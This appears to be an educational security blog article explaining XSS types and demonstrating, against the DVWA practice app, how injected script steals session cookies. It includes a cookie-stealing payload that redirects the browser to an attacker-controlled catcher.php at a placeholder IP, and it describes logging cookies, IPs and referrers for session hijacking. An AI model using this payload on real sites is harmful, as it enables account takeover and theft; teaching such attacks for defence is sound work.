We have been watching XSS become more and more popular in the application security space lately . While SQL Injection is still the most prevalent vulnerability in IT systems as defined by the OWASP Top 10 , XSS -type vulnerabilities are gaining more and more ground as knowledge of exploiting the vulnerability and the consequences of such an attack increases.
XSS vulnerabilities are divided into 3 types:
- Reflected
- Stored
- DOM Based
The details regarding each type of vulnerability are beyond the scope of this article, the important thing to keep in mind is that the same impacts can occur in each type.
In most cases, when an XSS vulnerability is introduced either by malicious users or by system security consultants, we see one of the most painless effects, which is the presentation of a popup window in the browser, which is achieved by inserting Java code. In simple words , it commands the browser to display the window with the message “ XSS”.
For the presentation we will use the Damn Vulnerable Web Application (DVWA), which is designed for practicing and learning various types of vulnerabilities.
Although this in itself does not cause concern for the user, for malicious users this is an introduction to further escalation of the attack with quite devastating results.
Another important element that we must take into account is that the risk of this vulnerability becomes more apparent when the application is accessible to users after entering their credentials, e.g. eBanking, eBay, Amazon, etc.
Malicious users use techniques so that each application does not force users to enter their credentials as they navigate from page to page, but rather stores them in a special file that is sent from the server and stored in the user's browser. This file includes information from whether the user is already logged in, to information about their shopping cart, etc.
These files are our well-known Cookies, which are usually deleted immediately after closing the browser, if this process is not done, then the risk of their theft and use at a later stage increases. This file is transferred back to the server every time the user opens a page in the application.
Every time the user requests a page, the browser sends the Cookie in the request header. If the user does not have a Cookie or it has expired, the server responds with a new Cookie in its own header which is stored in the browser.
When a malicious user recovers the file, they will be able to enter the application without the need to enter credentials and will be able to use the application as its legitimate user.
The way this specific attack works is listed below.
It is worth mentioning here that Chrome has built-in XSS Auditor, which is a mechanism for identifying and preventing the exploitation of XSS vulnerabilities. Although this mechanism identifies attempts and protects the user by preventing code execution, spoofing attacks have nevertheless been known.
As in the case of displaying the “XSS” message, in the same simple way the Cookie belonging to the user and stored in his browser can be displayed, by inserting the code .
One of the difficulties in successfully executing these attacks is the fact that the vulnerability is presented in the user's window. That is, even if the Cookie appears on the user's screen, this does not make it dangerous unless the malicious user has access to the victim's screen. The malicious users thought that since these vulnerabilities are related to code injection, the next step would be to insert code that would send the Cookies to them through other channels such as email or a website that belongs to the malicious user and can serve as a Cookie catcher.
We return to DVWA with the aim of getting the user's Cookies and sending them to the Cookie catcher controlled by us and inserting the code <script>document.location=”https://xxx.xxx.xxx.xx/catcher.php?c=”+document.Cookie</script> where X is the IP of our Cookie catcher.
In our case, our Cookie catcher is a simple PHP website that stores the information that comes in such as:
- Cookies
- IP
- Referrer
- Date
The results of the attack are shown below, demonstrating the success of the attack, as we were able to extract the Cookies and other useful information. The malicious user can now log in to the application using the Cookies and without the need to enter a password. Also, it is important that this attack is very difficult for the user to recognize, as all they see is that the specific page does not load.
The purpose of this article was to show that XSS vulnerabilities are not limited to simple popup windows, but can have devastating consequences such as theft of personal data, theft of money, etc.
